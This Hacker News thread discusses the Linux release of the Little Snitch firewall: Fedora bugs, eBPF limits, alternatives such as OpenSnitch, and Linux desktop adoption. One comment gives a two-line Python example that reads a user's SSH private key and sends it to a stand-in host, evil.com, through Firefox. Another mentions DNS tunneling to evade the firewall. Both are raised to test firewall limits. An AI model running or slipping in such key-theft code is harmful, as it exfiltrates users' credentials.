| dSebastien wrote:
| I've been using Simplewall on Windows for a while but I think
| it's not maintained anymore. Need to find an alternative
| high_priest wrote:
| Fort Firewall is my tool of choice. Each connection requires
| explicit approval.
| efilife wrote:
| same with simplewall
| sersi wrote:
| > For keeping tabs on what your software is up to and blocking
| legitimate software from phoning home, Little Snitch for Linux
| works well. For hardening a system against a determined
| adversary, it's not the right tool.
|
| What would be the right tool to harden in a similar way to little
| snitch on mac? Meaning intercepting any connection and
| whitelisting them reliably.
| hubabuba44 wrote:
| Congrats on the Linux port, this looks very nice.
|
| Shameless plug: for anyone who wants something fully open source
| and terminal-based, I maintain RustNet
| (https://github.com/domcyrus/rustnet). It's a bit different
| because it's a TUI for real-time connection monitoring with deep
| packet inspection, not a firewall. No blocking/rules, but it's
| cross-platform (Linux/macOS/Windows), the entire codebase is
| open, and it sandboxes itself after init via Landlock with
| capability dropping.
| sva_ wrote:
| Very nice, I will give it a try later
| Tepix wrote:
| > One thing to be aware of: the .lsrules format from Little
| Snitch on macOS is not compatible with the Linux version.
|
| Why?
| cromka wrote:
| Probably because it relies on eBPF rules on Linux?
| littlesnitch wrote:
| Just because I did not port the parser for it to Rust. And I
| thought that the lsrules format is rare for blocklists. If
| there is popular demand, we can add it.
| supernes wrote:
| Tried it on Fedora 43 (6.19.11 x86_64) and it loaded all CPU
| cores, dumped 50K lines in the journal and failed to start.
|
| > Error: the BPF_PROG_LOAD syscall returned Argument list too
| long (os error 7).
|
| > littlesnitch.service: Consumed 3min 38.832s CPU time, 13.7G
| memory peak.
| whilenot-dev wrote:
| Someone already created an issue for it:
| https://github.com/obdev/littlesnitch-linux/issues/1
| S0und wrote:
| I was looking for a comment like yours. Same issue, in my case
| only eating up half of my cores but with 100% utilization,
| webUI not working.
| aucisson_masque wrote:
| Your average Linux experience.
|
| And the second most upvoted comment is someone seriously asking
| if 2026 if the year of Linux desktop...
| Latty wrote:
| Yeah, because no third party program has _ever_ crashed on
| any other OS.
|
| Come on, this is an absurd comment. Linux has its issues,
| this is not a serious example of what is keeping normal
| people from using Linux as a desktop OS. Normal people are
| not installing the first release of a privacy networking tool
| that requires you to OK connections.
| aucisson_masque wrote:
| 99,9% of the time, you download an exe or a DMG, you can be
| pretty sure it's going to work. Even 3 star github repo.
|
| Only on Linux you get weird bug, compilation issues, etc.
|
| After all, you have windows, macos and then you have Linux
| : debian, Ubuntu, fedora, arch, opensuse. That's almost
| like 5 different os just for Linux.
|
| Sure you can use flatpack and force people to download 2gb
| installation for something that requires 20mb on windows
| and macos. That excludes all of the people who don't have
| fiber internet.
|
| At this point I'm convinced that those developing Linux
| don't want it to be an os for casuals and prefer to stay in
| their small, niche community. That's fine by me but it
| makes claim of Linux desktop year laughable, which I was
| referring to.
| Latty wrote:
| That's not the user experience though, the user
| experience is it says "go to the discover app and install
| <program>" and they do that and it just works.
| Downloading a tarball is not the normal way to install
| stuff on Linux, and given everyone has phones where the
| standard is "install on the app store", it's hardly some
| new experience, in fact, it's more natural for normal
| users.
| groguzt wrote:
| The take on flatpaks is such an uninformed one. DMGs on
| MacOS come with all the dependencies bundled in, which
| make them essentially just as big as the comparable
| flatpak (minus the shared runtime that gets installed
| once)
| eiginn wrote:
| Seriously, the amount flatpak misinformation that people
| hold onto is absolutely wild. Ex: I have had to show
| people it does differential updates because they don't
| bother to read the output.
|
| Flatpaks are easily the best gui desktop app experience
| for users we have today.
| adammarples wrote:
| This is brand new open source software with like 3 stars on
| github
| littlesnitch wrote:
| Sorry, we have not tested on Fedora before release. Did not
| expect so much interest in the first hours after release...
|
| I have now installed Fedora in a VM (ARM64 architecture,
| though) and it does load, but cannot identify processes. I'm
| investigating this now.
|
| The other issue seems to be with eBPF compatibility. That's a
| moving target and I'll investigate next. But resources are
| limited, I'll need some time to dig into this.
| supernes wrote:
| There's some good feedback in the GitHub issue on the
| subject, seems to happen on slightly newer versions of the
| kernel than the one you've tested on and affects other
| distros like Arch as well. I'll keep an eye on the discussion
| and test again once updates are ready.
| pixelat3d wrote:
| From the download page on the website:
|
| "Note: Little Snitch version 1.0.0 does not currently work with
| the Btrfs file system! Btrfs is used by default on Fedora, so
| Little Snitch does not currently identify processes on Fedora.
| We are working on an 1.0.1 release to fix the issue as soon as
| possible!"
| wodenokoto wrote:
| Honestly I think it is odd such a tool isnot considered as
| standard to an OS as a process manager.
|
| Anyway, this one looks great. I hope Linux distros will
| incorporate this or similar into the network widgets.
| cromka wrote:
| I know it sounds crazy at this point, but with popular YouTubers
| switching to Linux, gamers overall well-aware of Steam on Linux
| advantages and switching as well, plus popular software like
| LittleSnitch getting ported, 2026 can without irony be named as
| Year of Linux Desktop, right?
| dainank wrote:
| I think there is a lot of talk (and this is good), but very
| little action. Market share is still incredibly low for LNX. I
| believe only a small subset of people actually attempt the jump
| from WIN to LNX (since most just want to play their games and
| run their programs without hassle) and then quickly realize
| that its tougher than they anticipated and swiftly return to
| WIN.
| Doxin wrote:
| 5% on the steam survey though. The jump isn't quite as big
| from previous years as it seems as they did some corrections
| to the statistics this year, but 5% is nothing to sneeze at.
| npodbielski wrote:
| Exactly! Me personally in 2010 would never though about the
| time when one on every 20 gamers will be Linux user. That
| is huge IMHO.
| veber-alex wrote:
| I wouldn't be too exited. Statistics like this are very
| problematic.
|
| For example, I have Steam installed on my Macbook pro and
| I occasionally play a single very simple game there. Does
| that make me a macOS gamer? of course not. The vast
| majority of games I want to play don't work on macOS.
|
| I suspect that most of those 5% are just Linux users who
| have steam installed and play a small amount of games.
| Some probably just installed it to check what's available
| and don't play anything.
|
| Everyone I know who is a "serious" gamer, as in exited
| about upcoming releases of AAA games is using Windows.
| npodbielski wrote:
| That would mean that it still would be around 0,5%. If
| you want to split the hair probably 4,5% of this 5% is
| Steam Deck.
| dainank wrote:
| Indeed. The bigger problem is also that consistently the
| most played games are multiplayer competitive titles with
| anti-cheat software that is only written for Windows (and
| sometimes MacOS). I suppose this issue will solve itself,
| once enough people start playing on Linux. Then
| developers will be forced to support that too in order to
| not lose too much of their player base, but we are still
| a far cry from this threshold.
| rounce wrote:
| What's with the weird abbreviations?
| kwanbix wrote:
| He is saving 4 keystrokes out of ~400 by typing LNX instead
| of Linux.
| freedomben wrote:
| But holding the shift key makes up for it, so seems like
| a bad strategy
| dainank wrote:
| You are overthinking it. It is neither a strategy nor
| keystroke saving (although technically with shift its 4
| keystrokes as opposed to 5 for Linux and quite a few
| saved for Windows). I just typed that without thinking
| probably because it looks better and reads a bit easier
| (subjectively).
| Latty wrote:
| This is true, but also the original comment still stands:
| Linux desktop usage outside developers was so low that it was
| barely worth mentioning before, so even a small uptick like
| this is a serious change, and it's how bigger changes start.
|
| I definitely don't think it's even the likely outcome, but
| for Linux to get serious traction this is how it has to
| start: power users but not the traditional developer crowd
| start actually moving, and in doing so produce the guides,
| experience, word of mouth, and motivation that normal people
| need to do so, alongside the institutional support from Valve
| to actually fix the bugs and issues.
|
| It remains to be seen if a critical mass will find it usable
| long-term, but if it _were_ to happen, this is how it would
| look at the start, and Microsoft are certainly doing their
| best to push people away right now, although I suspect the
| real winner is more likely to be Apple with the Macbook Neo
| sucking up more of the lower end.
| sgbeal wrote:
| > Microsoft are certainly doing their best to push people
| away right now
|
| According to a speculative blog post by Eric S. Raymond in
| September 2020, Microsoft is literally moving towards
| replacing Windows' internals with Linux. Unfortunately,
| that post is now unreachable, but searching for "eric
| raymond article about windows being replaced with a linux
| kernel" finds many third-party references to it and
| summaries of it.
| zbikowski wrote:
| _Last phase of the desktop wars?_ by Eric Raymond:
| https://esr.ibiblio.org/?p=8764
| aqme28 wrote:
| As someone who did make the jump, it was actually a lot
| easier than I anticipated. I encourage others to do the same.
| The only games I can't play are some AAA multiplayer games I
| wasn't particularly interested in anyways.
| dainank wrote:
| I think for people who are browsing this site, it will
| certainly be easier than expected. For the average person,
| most likely not.
| Forgeties79 wrote:
| I hope more and more folks who want gaming computers realize
| how turnkey bazzite is, especially if you're team red. It's
| pretty remarkable
| IshKebab wrote:
| No.
| Perz1val wrote:
| Also unrelated, but more linux gamers proves my personal
| observation that on the spectrum of computer literacy gamers
| are just below powerusers and programmers. We see more less
| technical people migrate over to Linux gradually and now it's
| gamers turn. Well, that's kind of obvious for everybody except
| Microsoft apparently.
| notThrowingAway wrote:
| The year of the Linux Desktop will always be $CURRENT_YEAR + 1
| dmos62 wrote:
| What do you call a fallacy where it is implied that the
| future will be like the past?
| j-bos wrote:
| Maybe similar to boy who cried wolf?
| xpe wrote:
| Reminds me about schools of thought on rates of change:
| > ## Accelerating Change [One School] > > Our
| intuitions about change are linear; we expect roughly
| > as much change as has occurred in the past over our own
| > lifetimes. But technological change feeds on itself, and
| > therefore accelerates. Change today is faster than it was
| > 500 years ago, which in turn is faster than it was 5000
| > years ago. Our recent past is not a reliable guide to how
| > much change we should expect in the future. >
| > Strong claim: Technological change follows smooth curves,
| > typically exponential. Therefore we can predict with fair
| > precision when new technologies will arrive, and when
| they > will cross key thresholds, like the creation
| of [AI]. > > Advocates: Ray Kurzweil, Alvin
| Toffler(?), John Smart
| https://www.yudkowsky.net/singularity/schools
| mayukh wrote:
| linear % change implies exponential change in absolute
| terms
| almostjazz wrote:
| Problem of induction:
| https://en.wikipedia.org/wiki/Problem_of_induction
| BeetleB wrote:
| "The future aint what it used to be."
| pyrale wrote:
| To me, the year's in the past. I haven't touched Windows
| since 2017, and nothing bad happened to me.
|
| But you're right, I guess for some people, there will already
| be a good reason not to use Linux.
| stronglikedan wrote:
| The year of the Linux Desktop will be powered by fusion.
| neocron wrote:
| I did the switch in 2013 and haven't missed it. For games I
| ran vga_passthrough and later VFIO and others until pretty
| recently (I think right after covid I switched to steam
| directly on linux)
| raincole wrote:
| > 2026 can without irony be named as Year of Linux Desktop,
| right?
|
| For whom? Average desktop users? Average users don't know what
| LittleSnitch is, let alone calling it "popular software."
| cromka wrote:
| That's some beautiful, text-book straw man!
| raincole wrote:
| ?
|
| So for whom?
| watusername wrote:
| For Linux desktop users. A bit of tongue-in-cheek but that's
| pretty much the argument that I've heard in some circles ("it
| works for us and not going away anytime soon - why waste time
| convincing others?").
| brainzap wrote:
| does wifi work yet? last year it didnt for me
| weberer wrote:
| Wifi has been working out of the box for close to 20 years
| now. On some computers with old Broadcom cards, you have to
| enable non-free drivers. What model are you using?
| janc_ wrote:
| WiFi works fine if there are drivers for whatever WiFi chip
| you have.
|
| Unfortunately there are no standards for OS to talk to WiFi
| devices like exist for many other types of hardware, so it's
| not possible to make generic drivers.
| JoBrad wrote:
| Did you forget your WiFi password?
| einsteinx2 wrote:
| yes
| lilOnion wrote:
| 2026 is the year of the linux phone. We need to embrace that
| the year of the linux desktop (2025) was successful.
| ta8903 wrote:
| Sadly year of the linux phone feels like it's getting farther
| away.
| gonzalohm wrote:
| I wish. I'm tired of not owning my phone. But I don't see a
| push being done to get a proper Linux phone
| delusional wrote:
| What does "the year of the Linux phone" mean when half the
| phones already run Linux?
| mavhc wrote:
| And the other half run BSD
| Forgeties79 wrote:
| Android/Google does not fulfill the spirit of that. Yes
| it's technically Linux, but it's not what one _expects_
| from a Linux experience. We all know this, we all know
| Linux is under the hood, but "Linux phone" is basically
| shorthand for more user control, more open source aspects,
| more secure /private, and far away from companies like
| Google/apple/etc. Android phones do not fill that request
| even with graphene and such. Google still has too much
| control.
| lossyalgo wrote:
| According to latest Steam stats[0], Linux hit > 5% for the
| first time ever, so definitely successful (to some degree).
|
| [0] https://store.steampowered.com/hwsurvey/steam-hardware-
| softw...
| a-dub wrote:
| kde linux may make it happen. that and command line agents that
| help people fix their systems.
| xrio wrote:
| Back when I was still using macOS I loved Little Snitch and was a
| paying customer. And I agree nothing on Linux comes close. Would
| it be technically feasible to also provide this as a Flatpak to
| support immutable distros like Bazzite?
| jcgl wrote:
| I'm not aware of flatpaks specifically having th capability to
| run system software, daemons, etc. Some other immutable
| packaging formats should be able to (systemd-sysext at least,
| and snap iirc).
| littlesnitch wrote:
| As far as I can tell, Flatpak does not allow a daemon running
| as root early during system boot.
| clomia wrote:
| good
| cromka wrote:
| I'd like to point out it uses very little memory, barely 33MB
| here. That's impressive!
| riobard wrote:
| >> The macOS version uses deep packet inspection to do this more
| reliably. That's not an option here.
|
| I thought it would be easier to do DPI on Linux than macOS. No???
| amonith wrote:
| Yeah I thought that was one of the primary use cases of eBPF.
| Not an expert though, just read about some of these things.
| littlesnitch wrote:
| eBPF is very limited in the code complexity you can achieve.
| DPI on QUIC, for example, needs a lot of cryptography. That's
| simply not possible in eBPF. DPI on ordinary TLS still requires
| that you collect enough network packets to get the name, hold
| them back until you have a decision and then re-inject them.
| Holding back packets is not even possible at the layer where we
| intercept. And even if we find a layer to do this, it adds
| enough complexity that we no longer pass the verifier.
| akimbostrawman wrote:
| i will never understand why people will flock to this but
| opensnitch which is just better, fully open and has existed for
| longer (on linux) gets ignored.
| RamblingCTO wrote:
| then it pretty obviously is not better?
| littlesnitch wrote:
| Little Snitch is not there to replace OpenSnitch. It's just an
| additional option you can choose from. Some people might prefer
| it, others not.
| shevy-java wrote:
| The ultimate turnaround would be if the little snitch is
| snitching on the user too.
| digg32 wrote:
| Will there ever be anything like Comodo Firewall's HIPS firewall
| on Linux [0]? I remember when firewalls like ZoneAlarm could
| detect keyboard hooks from keyloggers and such. Comodo Firewall
| has had this for over a decade, but unfortunately they are not
| free anymore. For how open Linux is, it surprises me you can't
| handle things apps are doing on an alert by alert basis, and not
| just network permissions. Firewalls used to detect DLL
| injections, apps creating script files to run, adding stuff to
| start up. Now it seems firewalls only means network detection.
|
| [0]
| https://help.comodo.com/uploads/Comodo%20Internet%20Security...
| pshirshov wrote:
| Unfortunately it significantly impacts battery life, at least at
| my tests.
| your_challenger wrote:
| I use Lulu on my mac. Is it good enough (compared to
| LittleSnitch)?
| VladVladikoff wrote:
| I would say it's better.
| notpushkin wrote:
| Haven't tried LittleSnitch, but from what I see it's on par as
| far as features go. LuLu's UI could use some improvements, but
| otherwise it's perfectly fine for the job.
| mixedbit wrote:
| I'm not a Little Snitch or Open Snitch user, I wonder if these
| firewalls are able to block requests done with the use of some
| other, allow-listed program.
|
| Say I run a script `suspicious.py' and I deny this script from
| making any network requests. I also have firefox which is allowed
| to make any HTTPS requests. If suspicious.py does something like:
| key = (Path.home() / '.ssh' / 'id_rsa').read_text()
| subprocess.Popen(['firefox', f'https://evil.com/upload/{key}'])
|
| will this request be blocked?
| zamadatix wrote:
| With the literal rules described it would not be blocked. A
| more detailed rule (in Open Snitch at least, not as familiar
| with the other variants) could match e.g. whether the process's
| parent tree contained the python binary rather than just if
| python is the process binding the socket.
| duskdozer wrote:
| Would it silently allow or would you still get the notif or
| whatever (iirc from littlesnitch years ago)?
| zamadatix wrote:
| The allow rule for Firefox is what would suppress the
| prompt. You probably don't want to have a prompt for every
| Firefox connection though, so you'd need to come up with
| some kind of ruleset (or get very annoyed :D).
| mixedbit wrote:
| OK, I see, so a limitation is also that I cannot block an
| individual script, I need to block a Python interpreter.
| zamadatix wrote:
| Not necessarily (with Open Snitch at least), it just
| depends how complex you want to make your firewall rules
| and what the specific goal is (block this specific script,
| block scripts which try to do this activity, block
| connection to evil.net, block python scripts, etc).
|
| The more granular one gets the more likely they aren't
| really meaning to ask how to do it in the firewall layer
| though. E.g. if we take it further to wanting to prevent
| python -c "specific logic" it's clearer what you can do in
| the firewall is not necessarily the same as what's
| practical or useful.
| littlesnitch wrote:
| It depends. Little Snitch for Linux has a two level namespace
| for processes. It takes the process doing the connection and
| its parent process into account when evaluating rules.
|
| Also: If an interpreter is run via `#!/bin/interpreter` in the
| script binary, it makes the rule for the script file path, not
| the interpreter. This does not work when running the script as
| `interpreter script`, though.
| Joel_Mckay wrote:
| The SELinux MAC policy should restrict which files and ports
| each process may access. In general, most modern distro have
| this feature, but normal users do not go through the rules
| training and default enable flag setup. =3
| arsome wrote:
| This gets even more involved when you consider things like
| loading libraries, there's also the impact of calls like
| OpenProcess/WriteProcessMemory/CreateRemoteThread (Windows-land
| versions, though I'm sure similar exists elsewhere).
|
| The "good" Windows firewalls like Outpost and Zone Alarm used
| to have features to catch this, they'd detect when a process
| tried to invoke or open a running process which had internet
| access. They'd also do things like detect when a process tried
| to write a startup item. This went by names like "Leak Control"
| but it was basically providing near-complete HIDS features with
| local control.
| smashah wrote:
| Is there a way to kill little snitch completely without screwing
| up my DNS/other things?
| littlesnitch wrote:
| Which one? Mac or Linux? For the Linux Snitch, just stop the
| service. For the macOS Snitch, you need to move the app to the
| trash via Finder. Only Apple can remove the network extension
| and they do this only when deleted via Finder.
| peterspath wrote:
| I really want Little Snitch for iOS.
|
| Hopefully Apple makes the necessary frameworks available on iOS
| in general. Not only for supervised devices.
| Barbing wrote:
| Same.
|
| They are still restricting iCloud Private Relay to Safari for
| the most part. iOS is really wanting for privacy improvements
| to close the gap between marketing and reality.
|
| Fun fact: iOS lets developers spy on when you _dismiss_
| notifications:
|
| https://developer.apple.com/documentation/usernotifications/...
|
| Ever instantly angry-swipe-to-clear a DM notification soon as
| it hits your lockscreen from someone who upset you? Zuck knew
| y'all had beef.
|
| Clear notifications before bed and in the morning? All those
| companies could know a bit more about your routine than you
| would've otherwise revealed if weren't in the habit of using
| those apps at those times.
|
| --
|
| The kinds of tiny things that would be pretty inconsequential
| on their own but that you figure maybe the Apple tax would help
| you avoid.
|
| (edited with additions)
| mixedbit wrote:
| Recently I was wondering how viable it is to launch a niche, paid
| tool for Linux. I found that this is a very rare model, most
| tools are either just free, supported by sponsorship, supported
| by some paid cloud-based service that accompanies the tool, use
| an open-core model with paid add-ons.
|
| I wonder if the decision of Little Snitch to make the Linux
| version free forever was also informed by this "no way to make
| money selling tools on Linux" wisdom or if there was another
| motivation. It seems that if any tool has chances of making
| decent money on Linux, a product like Little Snitch, which is
| already well established, with working payment infrastructure
| would be a good candidate.
| dmantis wrote:
| Many from linux crowd are slightly paranoid and ideological.
|
| I'm as a linux user very reluctant to install anything
| proprietary that has such sensitive info as my network traffic
| and would rather use opensnitch or any other foss fork.
|
| The same time I don't mind to pay for open-source, I donate
| several thousands USD per year to FOSS projects. But I guess
| I'm in a minority here and if you make the whole stack open-
| source you're not going to make many sells really.
| lapcat wrote:
| > Many from linux crowd are slightly paranoid
|
| Slightly? There are quite a few tin foil hat comments on this
| submission.
| dmantis wrote:
| Well, it's all relative and depends on perception.
|
| I tried to briefly explain a typical i-own-my-computer
| mindset regarding the linux monetization question from the
| parent comment.
|
| I can pay for cool stuff I can trust, but the "I can trust"
| part is very tricky.
| MSFT_Edging wrote:
| You call it paranoia, I call it zero tolerance for
| enshitification.
|
| It's like the Nazi bar problem. You need to be vigilant to
| prevent the thing you rely on becoming yet another platform
| for Microsoft to exfil your personal data to NSA servers.
| littlesnitch wrote:
| As the author of Little Snitch for Linux, I can tell you what
| drives us: we are a small company where people (not investors)
| make the decisions. It was a personal choice of mine, driven by
| a gut feeling. I'm curious about the outcome...
| jron wrote:
| As a paying customer, I wasn't expecting this so thank you!
| Can you expand more on your gut feeling? Also, I have
| different security expectations on Linux vs MacOS. Would you
| ever consider open sourcing the daemon?
| 7402 wrote:
| The author talks about his motivation right here:
| https://www.obdev.at/blog/little-snitch-for-linux/
|
| It's not that arcane.
| thewanderer1983 wrote:
| Does little snitch and similar software work against solutions
| like Paqet?
|
| https://github.com/hanselime/paqet
| littlesnitch wrote:
| On macOS, it requires access to /dev/bpf _. That 's why we
| added filter rules for bpf there.
|
| On Linux, we intercept at a level where packets already have an
| Ethernet header. I hope that Paqet injects _before* this layer,
| but only a test can give the proof.
| dark-star wrote:
| Neat! Too bad it's proprietary closed-source though (at least the
| daemon is).
| Jakson_Tate wrote:
| cool to see eBPF used for a desktop firewall instead of just ddos
| packet dropping. the note about bpf map overflows is super
| relatable, dealing with that on bare-metal is a pain.
|
| my question is... if the tracking maps fill up completely, does
| the daemon fail-open or fail-closed?
| littlesnitch wrote:
| There is currently no treatment of errors because I would not
| know how to handle them anyway. There are two tables which can
| overflow affecting the filter: the table of open flows and the
| table of recent DNS lookups. The table of flows just fills up,
| meaning that we cannot store state about new flows. Without
| state, we can't attribute a process to them and end up
| evaluating rules on each packet. I guess that blocklists would
| still work, but more specific rules would not be applied (and
| the default decision would be taken, whatever you have
| configured).
|
| The DNS lookups, on the other hand, are LRU. If the table
| overflows too soon, we won't be able to derive names for IP
| addresses and name-based rules would fail.
| moduspol wrote:
| I used Little Snitch on Mac a few years ago and liked it, though
| I wasn't a fan of how (necessarily) deep it had to be in the OS
| to work. It felt like one of those things where, the moment you
| have any kind of network connectivity issue, it's the first thing
| you need to disable to troubleshoot because it's the weirdest
| thing you're doing.
|
| I guess what I'd really like is a middleware box or something
| that I could put on my home network, but would then still give
| the same user experience as the normal app. I don't want to have
| to log into some web interface and manually add firewall rules
| after I find something not working. I like the pop-ups that tell
| you exactly when you're trying to do something that is blocked,
| and allow you to either add a rule or not.
|
| I'm probably straddling some gray area between consumer-focused
| and enterprise-focused feature sets, but it would be neat.
| halfcat wrote:
| I've also wanted something like this. The challenge is with an
| external appliance you lose awareness of which process is
| initiating the request.
|
| This is solvable to some degree but requires varying degrees of
| new complexity depending how smooth of a user experience you're
| aiming for.
| vanc_cefepime wrote:
| I am the same, used Little Snitch for a few years back in the
| late 2000s, I think like 2010 until a few years back when I
| moved fulltime to Linux. Back then, my parents had an iMac and
| I was the designated "IT" person to keep it running
| efficiently. My siblings had a bad habit of installing games
| and hack software on it for their games. I ended up purchasing
| a license and after the first few hours/days of configuring
| allow/block lists, it worked pretty well. It earned the label
| of "Little B*ch" from them since it would stop their gaming
| hacking apps from connecting and wrecking havoc. Eventually I
| learned to keep them on a standard user account and separate
| admin for installing software.
|
| Long story you didn't ask for. Like I said, I haven't used
| Little Snitch in a while. I'll give this a whirl this weekend.
| What I have done over the past few years is run AdGuard Home on
| a min home server. This has helped keep ads undercontrol in our
| hoursehold and I have an easy "turn off adguard for 10 mins" in
| homeassistant for the wife so she can do some shopping online
| since it can occasionally break some sites, but overall they
| tolerate adguard and think it's a good middle ground. I have a
| few block lists, nothing too crazy or strict to avoid breaking
| most sites. On the desktops/laptops, they all run FireFox w
| uBlock origin.
| dyauspitr wrote:
| How deep it was in the OS was exactly what I liked about it. I
| only wished it were open source so I know what exactly is
| happening with that level of access.
| brachkow wrote:
| LittleSnitch for Mac is a good looking app.
|
| I always thought that ugly UIs on Linux are because of good
| designers do not intersect well with programming enthusiasts.
|
| But looking how ugly same app looks on Linux, I'm starting to
| think it could be a technical limitation. Can someone elaborate?
| mfro wrote:
| It just depends on the UI frameworks available to developers
| and their interest in building something good-looking.
| Different UI frameworks are available for different platforms,
| and there are only a few good ones that are cross-platform. Qt
| and GTK are pretty common for linux apps and typically don't
| look great.
| piekvorst wrote:
| Now I can spy on the software spying at me. Nice.
| gethly wrote:
| so a firewall for linux then?
| spwa4 wrote:
| Of course, getting data uploads past little snitch is an exercise
| in triviality. For instance, using DNS tunneling. Sending
| requests to unrelated servers, ideally on AWS or some other
| cloud, so you have no idea at all who's behind the server and the
| firewall can't realistically block it, where the info can be
| retrieved by another party.
| joeiq wrote:
| Finally!
| Myzel394 wrote:
| I hope they provide a binary without dynamic libraries so that we
| can use this on nixos as well
| linuxguy2 wrote:
| One person's (not my) take on why to skip this:
| https://the.unknown-universe.co.uk/privacy-security/little-s...
|
| TL;DR it's closed source and there's open source alternatives.
| karlzt wrote:
| How does it compare to Portmaster?
|
| https://news.ycombinator.com/item?id=29761978
|
| Portmaster - Open-source network monitor and firewall [315 points
| | 113 comments]
|
| https://news.ycombinator.com/item?id=23539687
|
| Show HN: Block trackers system-wide on Linux/Windows, a Pi-hole
| "to go" alt
|
| [6 points by davegson on June 16, 2020 | 2 comments]
|
| https://news.ycombinator.com/submitted?id=davegson
| mobeigi wrote:
| I used to use a Windows firewall which basically hijacked a bunch
| of WinAPI calls and let me approve/deny every request. Trying to
| be a good secure boy I ran this setup for a while but it was
| exhausting. Every single action needed dozens of approval
| windows. After a while I removed the software. I reckon it is
| good situationally though, trying out a new program for first
| time (that isn't risky enough for a VM or sandbox), might be good
| to turn on a tool like this.
| I_am_tiberius wrote:
| FYI: It's an Austrian company behind that software.
| Suffocate5100 wrote:
| I'm glad people are building stuff for Linux, but the people who
| actually want something like this have likely already been using
| Opensnitch for years. I'm certainly not going to spend $60 for
| something that has been doing the job for free.
| brycewray wrote:
| From the related blog post[0]:
|
| > You can find Little Snitch for Linux here[1]. It is free, and
| it will stay that way.
|
| [0]: https://obdev.at/blog/little-snitch-for-linux/
|
| [1]: https://obdev.at/products/littlesnitch-linux
| altermetax wrote:
| Low-effort take: can't you just run ss -tulpn repeatedly and
| parse the output?
| chirau wrote:
| How does this work with WSL2? Will it monitor windows traffic as
| well?
| a-dub wrote:
| i have been pretty happy with opensnitch. ui improvements are
| always welcome although what might be really interesting would be
| some sort of plug-in system that allows for an agent to watch my
| interactions activity and the outbound connections and only flag
| things that seem surprising. also maybe some kind of improvement
| over the pop-up (maybe get rid of them entirely and add some kind
| of cli wrapper that allow-lists child processes).
| jimgill wrote:
| Old bottle with new lable, but good to keep eye on interfaces
| noisy_boy wrote:
| The gold standard, which I haven't been able to achieve, is to be
| able to do a pi-hole/adguard style centralized control where I
| can allow youtube but block youtube shorts. All solutions I have
| seen talk about on-device setup which isn't an option given that
| I don't want to manage it on a per-device basis.
| jijijijij wrote:
| You would have to break E2E encryption, no? I think, at the
| very least you still would have to manage new TLS certificates
| per device to MITM yourself. I mean, doable, but also kinda
| nasty.
| somat wrote:
| Because of the way youtube serves shorts the exact same way it
| serves any other video it sounds like a man-in-the-middle proxy
| server would be needed. which to enforce would still require
| per device config(loading corp style keys). A per device config
| that would probably be trickier than a shorts killer browser
| extension.
|
| This is why DoH makes me nervous. Once the embedded ad
| engines(cough smart tv's) figure it out, we will no longer be
| able to mitm our dns services. Or to put it more plainly pi-
| hole will stop working. An open question, Any good way to block
| DoH? Or are heuristics the only answer?
|
| An unenforceable option would be to set up an independent
| youtube frontend. https://invidious.io/
|
| My opinion on shorts is a little more generous, sure they are
| generally brain-cell destroying bottom of the barrel clickbait
| nonsense. But that can also be said about most of the rest of
| youtube. What I hate specifically is the shorts doom-scrolling
| interface. It turns out a "short" can still be viewed on the
| normal interface. So I use a browser extension to turn shorts
| urls into normal urls.
___________________________________________________________________
(page generated 2026-04-09 17:00 UTC)